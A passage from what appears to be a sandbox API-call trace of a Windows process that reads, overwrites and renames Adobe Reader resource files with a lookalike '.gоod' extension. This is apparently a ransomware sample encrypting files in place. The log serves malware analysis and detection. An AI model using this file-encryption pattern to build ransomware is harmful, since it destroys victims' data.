dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0127.196] GetFileType (hFile=0x630) returned 0x1 [0127.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb8a0) returned 1 [0127.196] GetFileType (hFile=0x630) returned 0x1 [0127.196] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdeba88*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdeba88*=0) returned 0x74ac [0127.196] WriteFile (in: hFile=0x630, lpBuffer=0x3542500*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdeb978, lpOverlapped=0x0 | out: lpBuffer=0x3542500*, lpNumberOfBytesWritten=0x1fdeb978*=0x10, lpOverlapped=0x0) returned 1 [0127.197] CloseHandle (hObject=0x630) returned 1 [0127.197] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons_retina_thumb.png", nBufferLength=0x105, lpBuffer=0x1fdeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons_retina_thumb.png", lpFilePart=0x0) returned 0x85 [0127.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb930) returned 1 [0127.197] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons_retina_thumb.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\aic_file_icons_retina_thumb.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0127.198] GetFileType (hFile=0x630) returned 0x1 [0127.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb8a0) returned 1 [0127.198] GetFileType (hFile=0x630) returned 0x1 [0127.198] ReadFile (in: hFile=0x630, lpBuffer=0x3544960, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeba08, lpOverlapped=0x0 | out: lpBuffer=0x3544960*, lpNumberOfBytesRead=0x1fdeba08*=0x1000, lpOverlapped=0x0) returned 1 [0127.236] CloseHandle (hObject=0x630) returned 1 [0127.237] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons_retina_thumb.png", nBufferLength=0x105, lpBuffer=0x1fdeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons_retina_thumb.png", lpFilePart=0x0) returned 0x85 [0127.237] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb930) returned 1 [0127.237] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons_retina_thumb.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\aic_file_icons_retina_thumb.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0127.237] GetFileType (hFile=0x630) returned 0x1 [0127.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb8a0) returned 1 [0127.237] GetFileType (hFile=0x630) returned 0x1 [0127.237] WriteFile (in: hFile=0x630, lpBuffer=0x3543618*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdebab8, lpOverlapped=0x0 | out: lpBuffer=0x3543618*, lpNumberOfBytesWritten=0x1fdebab8*=0x1010, lpOverlapped=0x0) returned 1 [0127.237] CloseHandle (hObject=0x630) returned 1 [0127.237] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons_retina_thumb.png", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons_retina_thumb.png", lpFilePart=0x0) returned 0x85 [0127.237] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons_retina_thumb.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons_retina_thumb.png.gоod", lpFilePart=0x0) returned 0x8a [0127.237] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb9f0) returned 1 [0127.238] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons_retina_thumb.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\aic_file_icons_retina_thumb.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdebad0 | out: lpFileInformation=0x1fdebad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x480cde8e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x74bc)) returned 1 [0127.238] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9b0) returned 1 [0127.238] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons_retina_thumb.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\aic_file_icons_retina_thumb.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons_retina_thumb.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\aic_file_icons_retina_thumb.png.gоod")) returned 1 [0127.239] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\cloud_icon.png", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\cloud_icon.png", lpFilePart=0x0) returned 0x74 [0127.239] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeba30) returned 1 [0127.239] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\cloud_icon.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\cloud_icon.png"), fInfoLevelId=0x0, lpFileInformation=0x35c2338 | out: lpFileInformation=0x35c2338*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x28f)) returned 1 [0127.239] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9f0) returned 1 [0127.239] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\cloud_icon.png", nBufferLength=0x105, lpBuffer=0x1fdeb3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\cloud_icon.png", lpFilePart=0x0) returned 0x74 [0127.239] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb8e0) returned 1 [0127.239] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\cloud_icon.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\cloud_icon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0127.239] GetFileType (hFile=0x630) returned 0x1 [0127.239] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb850) returned 1 [0127.239] GetFileType (hFile=0x630) returned 0x1 [0127.239] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1fdeba88 | out: lpFileSizeHigh=0x1fdeba88*=0x0) returned 0x28f [0127.239] ReadFile (in: hFile=0x630, lpBuffer=0x35c2930, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb9b8, lpOverlapped=0x0 | out: lpBuffer=0x35c2930*, lpNumberOfBytesRead=0x1fdeb9b8*=0x28f, lpOverlapped=0x0) returned 1 [0127.358] CloseHandle (hObject=0x630) returned 1 [0127.785] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb8e0) returned 1 [0127.785] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\cloud_icon.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\cloud_icon.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0127.786] GetFileType (hFile=0x618) returned 0x1 [0127.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb850) returned 1 [0127.786] GetFileType (hFile=0x618) returned 0x1 [0127.786] WriteFile (in: hFile=0x618, lpBuffer=0x357ab90*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x1fdeb8c8, lpOverlapped=0x0 | out: lpBuffer=0x357ab90*, lpNumberOfBytesWritten=0x1fdeb8c8*=0x290, lpOverlapped=0x0) returned 1 [0127.787] CloseHandle (hObject=0x618) returned 1 [0127.787] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\cloud_icon.png", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\cloud_icon.png", lpFilePart=0x0) returned 0x74 [0127.787] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\cloud_icon.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\cloud_icon.png.gоod", lpFilePart=0x0) returned 0x79 [0127.787] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb9f0) returned 1 [0127.787] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\cloud_icon.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\cloud_icon.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdebad0 | out: lpFileInformation=0x1fdebad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x486052ca, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x290)) returned 1 [0127.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9b0) returned 1 [0127.788] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\cloud_icon.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\cloud_icon.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\cloud_icon.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\cloud_icon.png.gоod")) returned 1 [0127.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb250) returned 1 [0127.795] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast", nBufferLength=0x105, lpBuffer=0x1fdeacf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast", lpFilePart=0x0) returned 0x71 [0127.796] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\*", lpFindFileData=0x1fdeaf70 | out: lpFindFileData=0x1fdeaf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0128.105] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.106] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2220, dwReserved0=0x0, dwReserved1=0x0, cFileName="aic_file_icons_hiContrast_bow.png", cAlternateFileName="AIC_FI~4.PNG")) returned 1 [0128.106] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x294b, dwReserved0=0x0, dwReserved1=0x0, cFileName="aic_file_icons_hiContrast_wob.png", cAlternateFileName="AIC_FI~1.PNG")) returned 1 [0128.106] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5f96, dwReserved0=0x0, dwReserved1=0x0, cFileName="aic_file_icons_highcontrast.png", cAlternateFileName="AIC_FI~2.PNG")) returned 1 [0128.106] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3195, dwReserved0=0x0, dwReserved1=0x0, cFileName="aic_file_icons_retina_thumb_highContrast_bow.png", cAlternateFileName="AI6010~1.PNG")) returned 1 [0128.106] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3190, dwReserved0=0x0, dwReserved1=0x0, cFileName="aic_file_icons_retina_thumb_highContrast_wob.png", cAlternateFileName="AIC_FI~3.PNG")) returned 1 [0128.106] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0128.107] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0128.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb190) returned 1 [0128.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb150) returned 1 [0128.107] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb250) returned 1 [0128.107] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast", nBufferLength=0x105, lpBuffer=0x1fdeacf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast", lpFilePart=0x0) returned 0x71 [0128.107] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\*", lpFindFileData=0x1fdeaf70 | out: lpFindFileData=0x1fdeaf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0128.108] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.108] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2220, dwReserved0=0x0, dwReserved1=0x0, cFileName="aic_file_icons_hiContrast_bow.png", cAlternateFileName="AIC_FI~4.PNG")) returned 1 [0128.108] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x294b, dwReserved0=0x0, dwReserved1=0x0, cFileName="aic_file_icons_hiContrast_wob.png", cAlternateFileName="AIC_FI~1.PNG")) returned 1 [0128.109] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5f96, dwReserved0=0x0, dwReserved1=0x0, cFileName="aic_file_icons_highcontrast.png", cAlternateFileName="AIC_FI~2.PNG")) returned 1 [0128.109] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3195, dwReserved0=0x0, dwReserved1=0x0, cFileName="aic_file_icons_retina_thumb_highContrast_bow.png", cAlternateFileName="AI6010~1.PNG")) returned 1 [0128.109] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3190, dwReserved0=0x0, dwReserved1=0x0, cFileName="aic_file_icons_retina_thumb_highContrast_wob.png", cAlternateFileName="AIC_FI~3.PNG")) returned 1 [0128.109] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3190, dwReserved0=0x0, dwReserved1=0x0, cFileName="aic_file_icons_retina_thumb_highContrast_wob.png", cAlternateFileName="AIC_FI~3.PNG")) returned 0 [0128.109] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0128.110] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb190) returned 1 [0128.110] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb150) returned 1 [0128.110] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_bow.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_bow.png", lpFilePart=0x0) returned 0x93 [0128.110] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0128.110] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_bow.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hicontrast_bow.png"), fInfoLevelId=0x0, lpFileInformation=0x35e91d8 | out: lpFileInformation=0x35e91d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2220)) returned 1 [0128.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0128.112] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_bow.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_bow.png", lpFilePart=0x0) returned 0x93 [0128.112] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0128.112] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_bow.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hicontrast_bow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0128.112] GetFileType (hFile=0x618) returned 0x1 [0128.112] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0128.112] GetFileType (hFile=0x618) returned 0x1 [0128.112] SetFilePointer (in: hFile=0x618, lDistanceToMove=4096, 